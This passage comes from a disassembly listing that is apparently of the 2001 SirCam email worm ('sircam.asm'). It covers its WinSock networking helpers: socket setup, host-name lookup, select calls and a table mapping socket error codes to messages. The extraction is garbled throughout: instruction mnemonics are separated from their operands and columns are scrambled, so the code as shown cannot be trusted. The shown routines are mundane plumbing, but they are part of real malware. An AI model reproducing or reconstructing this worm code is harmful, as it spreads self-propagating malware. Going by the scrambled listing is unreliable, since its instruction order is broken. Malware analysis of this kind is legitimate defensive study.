pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_410032
loc_410022:
sub_40FF9C
454
; CODE XREF: CODE:00410030\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -2Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41002B:
; DATA XREF: sub_40FF9C+12\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_410022
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
455
loc_410032:
; DATA XREF: sub_40FF9C+81\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 1Ah
aTcpIpSocketErr db ’TCP/IP socket error %d: %s’,0 ; DATA XREF: sub_40FF9C+4E\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_41005C
sub_41005C
proc near
push
ecx
push
esp
push
4004667Fh
mov
eax, [eax+4]
push
eax
call
j_ioctlsocket
mov
eax, [esp+0]
pop
edx
retn
endp
; CODE XREF: sub_40FCF0+5D\030p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_410074
proc near
var_100
= byte ptr -100h
; CODE XREF: sub_412EA0+50\031p
push
mov
add
push
push
mov
xor
push
push
push
mov
lea
mov
call
push
push
call
test
jz
push
call
mov
test
jz
mov
mov
call
ebp
ebp, esp
esp, 0FFFFFF00h
ebx
esi
esi, edx
eax, eax
ebp
offset loc_4100DF
dword ptr fs:[eax]
fs:[eax], esp
ebx, [ebp+var_100]
eax, esi
sub_4034C8
0FFh
ebx
j_gethostname
ebx, ebx
short loc_4100C0
ebx
j_gethostbyname
ebx, eax
ebx, ebx
short loc_4100C0
eax, esi
edx, [ebx]
sub_403680
cmp
jnz
; CODE XREF: sub_410074+35\030j
; sub_410074+41\030j
dword ptr [esi], 0
short loc_4100D1
loc_4100C0:
sircam.asm
Fri Aug 10 12:42:44 2001
456
mov
mov
call
eax, esi
edx, offset dword_4100F4
sub_40351C
xor
pop
pop
pop
mov
push
; CODE XREF: sub_410074+4F\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4100E6
loc_4100D1:
locret_4100DE:
; CODE XREF: sub_410074+70\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4100DF:
; DATA XREF: sub_410074+10\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_4100DE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4100E6:
sub_410074
; CODE XREF: sub_410074+6A\030j
; DATA XREF: sub_410074+65\030o
pop
pop
mov
pop
retn
endp
esi
ebx
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 9
dword_4100F4
dd 2E373231h, 2E302E30h, 31h ; DATA XREF: sub_410074+53\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_410100
proc near
var_10C
var_108
var_104
= dword ptr -10Ch
= dword ptr -108h
= byte ptr -104h
push
push
push
add
mov
mov
mov
mov
cdq
idiv
imul
mov
mov
mov
cdq
idiv
mov
mov
inc
jnz
xor
loc_410135:
lea
call
ebx
esi
edi
esp,
ecx,
edi,
eax,
ebx,
; CODE XREF: sub_40FC90+12\030p
; sub_40FF2C+12\030p
0FFFFFEF4h
edx
eax
ecx
3E8h
ebx
eax, edx, 3E8h
[esp+10Ch+var_108], eax
eax, ecx
ebx, 3E8h
ebx
[esp+10Ch+var_10C], eax
esi, esp
ecx
short loc_410135
esi, esi
; CODE XREF: sub_410100+31\030j
eax, [esp+10Ch+var_104]
sub_40F6C4
sircam.asm
Fri Aug 10 12:42:44 2001
lea
mov
call
push
push
push
lea
push
push
call
mov
mov
mov
call
cmp
jz
xor
edx, [esp+10Ch+var_104]
eax, [edi+4]
sub_40F6B4
esi
0
0
eax, [esp+118h+var_104]
eax
0
j_select
esi, eax
edx, esi
eax, edi
sub_40FF88
dword ptr [edi+28h], 0
short loc_41016E
esi, esi
test
setnle
mov
call
mov
add
pop
pop
pop
retn
endp
esi, esi
bl
eax, edi
sub_40FF9C
eax, ebx
esp, 10Ch
edi
esi
ebx
loc_41016E:
sub_410100
457
; CODE XREF: sub_410100+6A\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_410188
sub_410188
proc near
; DATA XREF: CODE:0040F8D4\030o
push
ebx
mov
ebx, eax
push
6
push
1
push
2
call
j_socket
mov
[ebx+4], eax
mov
dword ptr [ebx+2Ch], 6
mov
eax, ebx
call
sub_40FAA4
pop
ebx
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4101AC
proc near
var_4
= dword ptr -4
push
mov
push
push
push
mov
mov
ebp
ebp, esp
0
ebx
esi
esi, edx
ebx, eax
; CODE XREF: sub_40FF9C+2F\030p
sircam.asm
Fri Aug 10 12:42:44 2001
458
xor
eax, eax
push
ebp
push
offset loc_41074A
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, ebx
cmp
eax, 2745h
jg
loc_4102AC
jz
loc_41056C
cmp
eax, 2738h
jg
loc_410267
jz
loc_41048F
cmp
eax, 2728h
jg
short loc_41023E
jz
loc_410429
cmp
eax, 271Dh
jg
short loc_410225
jz
loc_4103F6
sub
eax, 1
jb
loc_4103C3
sub
eax, 2713h
jz
loc_4103D4
sub
eax, 5
jz
loc_4103E5
jmp
loc_410711
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410225:
; CODE XREF: sub_4101AC+4F\030j
sub
eax, 271Eh
jz
loc_410407
sub
eax, 8
jz
loc_410418
jmp
loc_410711
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41023E:
; CODE XREF: sub_4101AC+42\030j
add
eax, 0FFFFD8CDh ; switch 5 cases
cmp
eax, 4
ja
loc_410711
; default
jmp
ds:off_410253[eax*4] ; switch jump
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_410253
dd offset loc_41043A
; DATA XREF: sub_4101AC+A0\030r
dd offset loc_41044B
; jump table for switch statement
dd offset loc_41045C
dd offset loc_41046D
dd offset loc_41047E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410267:
; CODE XREF: sub_4101AC+31\030j
add
eax, 0FFFFD8C7h ; switch 12 cases
cmp
eax, 0Bh
ja
loc_410711
; default
jmp
ds:off_41027C[eax*4] ; switch jump
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_41027C
dd offset loc_4104A0
; DATA XREF: sub_4101AC+C9\030r
dd offset loc_4104B1
; jump table for switch statement
dd offset loc_4104C2
dd offset loc_4104D3
dd offset loc_4104E4
dd offset loc_4104F5
dd offset loc_410506
dd offset loc_410517
dd offset loc_410528
dd offset loc_410539
dd offset loc_41054A
dd offset loc_41055B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4102AC:
; CODE XREF: sub_4101AC+20\030j
cmp
eax, 2752h
sircam.asm
Fri Aug 10 12:42:44 2001
459
jg
short loc_4102FE
jz
loc_410649
add
eax, 0FFFFD8BAh ; switch 12 cases
cmp
eax, 0Bh
ja
loc_410711
; default
jmp
ds:off_4102CE[eax*4] ; switch jump
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_4102CE
dd offset loc_41057D
; DATA XREF: sub_4101AC+11B\030r
dd offset loc_41058E
; jump table for switch statement
dd offset loc_41059F
dd offset loc_4105B0
dd offset loc_4105C1
dd offset loc_4105D2
dd offset loc_4105E3
dd offset loc_4105F4
dd offset loc_410605
dd offset loc_410616
dd offset loc_410627
dd offset loc_410638
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4102FE:
; CODE XREF: sub_4101AC+105\030j
cmp
eax, 276Ch
jg
short loc_410384
jz
loc_4106BD
add
eax, 0FFFFD8ADh ; switch 25 cases
cmp
eax, 18h
ja
loc_410711
; default
jmp
ds:off_410320[eax*4] ; switch jump
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_410320
dd offset loc_41065A
; DATA XREF: sub_4101AC+16D\030r
dd offset loc_41066B
; jump table for switch statement
dd offset loc_41067C
dd offset loc_41068D
dd offset loc_41069E
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_410711
dd offset loc_4106AF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410384:
; CODE XREF: sub_4101AC+157\030j
cmp
eax, 2AFAh
jg
short loc_4103AC
jz
loc_4106E7
sub
eax, 276Dh
jz
loc_4106CB
sub
eax, 38Ch
jz
loc_4106D9
jmp
loc_410711
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4103AC:
; CODE XREF: sub_4101AC+1DD\030j
sub
eax, 2AFBh
sircam.asm
Fri Aug 10 12:42:44 2001
460
jz
loc_4106F5
dec
eax
jz
loc_410703
jmp
loc_410711
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4103C3:
; CODE XREF: sub_4101AC+5A\030j
mov
eax, esi
mov
edx, offset dword_410760
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4103D4:
; CODE XREF: sub_4101AC+65\030j
mov
eax, esi
mov
edx, offset aInterruptedSys ; "Interrupted system call"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4103E5:
; CODE XREF: sub_4101AC+6E\030j
mov
eax, esi
mov
edx, offset aBadFileNumber ; "Bad file number"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4103F6:
; CODE XREF: sub_4101AC+51\030j
mov
eax, esi
mov
edx, offset aPermissionDeni ; "Permission denied"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410407:
; CODE XREF: sub_4101AC+7E\030j
mov
eax, esi
mov
edx, offset dword_4107C0
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410418:
; CODE XREF: sub_4101AC+87\030j
mov
eax, esi
mov
edx, offset aInvalidArgumen ; "Invalid argument"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410429:
; CODE XREF: sub_4101AC+44\030j
mov
eax, esi
mov
edx, offset aTooManyOpenFil ; "Too many open files"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41043A:
; CODE XREF: sub_4101AC+A0\030j
; DATA XREF: sub_4101AC+A7\030o
mov
eax, esi
; case 0x2733
mov
edx, offset aOperationWould ; "Operation would block"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41044B:
; CODE XREF: sub_4101AC+A0\030j
; DATA XREF: sub_4101AC+A7\030o
mov
eax, esi
; case 0x2734
mov
edx, offset aOperationNowIn ; "Operation now in progress"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
461
loc_41045C:
; CODE XREF: sub_4101AC+A0\030j
; DATA XREF: sub_4101AC+A7\030o
mov
eax, esi
; case 0x2735
mov
edx, offset aOperationAlrea ; "Operation already in progress"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41046D:
; CODE XREF: sub_4101AC+A0\030j
; DATA XREF: sub_4101AC+A7\030o
mov
eax, esi
; case 0x2736
mov
edx, offset aSocketOperatio ; "Socket operation on nonsocket"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41047E:
; CODE XREF: sub_4101AC+A0\030j
; DATA XREF: sub_4101AC+A7\030o
mov
eax, esi
; case 0x2737
mov
edx, offset aDestinationAdd ; "Destination address required"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41048F:
; CODE XREF: sub_4101AC+37\030j
mov
eax, esi
mov
edx, offset aMessageTooLong ; "Message too long"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4104A0:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x2739
mov
edx, offset aProtocolWrongT ; "Protocol wrong type for socket"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4104B1:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x273a
mov
edx, offset aProtocolNotAva ; "Protocol not available"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4104C2:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x273b
mov
edx, offset aProtocolNotSup ; "Protocol not supported"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4104D3:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x273c
mov
edx, offset aSocketNotSuppo ; "Socket not supported"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4104E4:
mov
mov
call
jmp
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
eax, esi
; case 0x273d
edx, offset aOperationNotSu ; "Operation not supported on socket"
sub_40351C
loc_410734
sircam.asm
Fri Aug 10 12:42:44 2001
462
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4104F5:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x273e
mov
edx, offset aProtocolFamily ; "Protocol family not supported"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410506:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x273f
mov
edx, offset aAddressFamilyN ; "Address family not supported"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410517:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x2740
mov
edx, offset aAddressAlready ; "Address already in use"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410528:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x2741
mov
edx, offset aCanTAssignRequ ; "Can’t assign requested address"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410539:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x2742
mov
edx, offset aNetworkIsDown ; "Network is down"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41054A:
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
mov
eax, esi
; case 0x2743
mov
edx, offset aNetworkIsUnrea ; "Network is unreachable"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41055B:
mov
mov
; CODE XREF: sub_4101AC+C9\030j
; DATA XREF: sub_4101AC+D0\030o
eax, esi
; case 0x2744
edx, offset aNetworkDropped ; "Network dropped connection on rese
t"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41056C:
; CODE XREF: sub_4101AC+26\030j
mov
eax, esi
mov
edx, offset aSoftwareCaused ; "Software caused connection abort"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41057D:
mov
mov
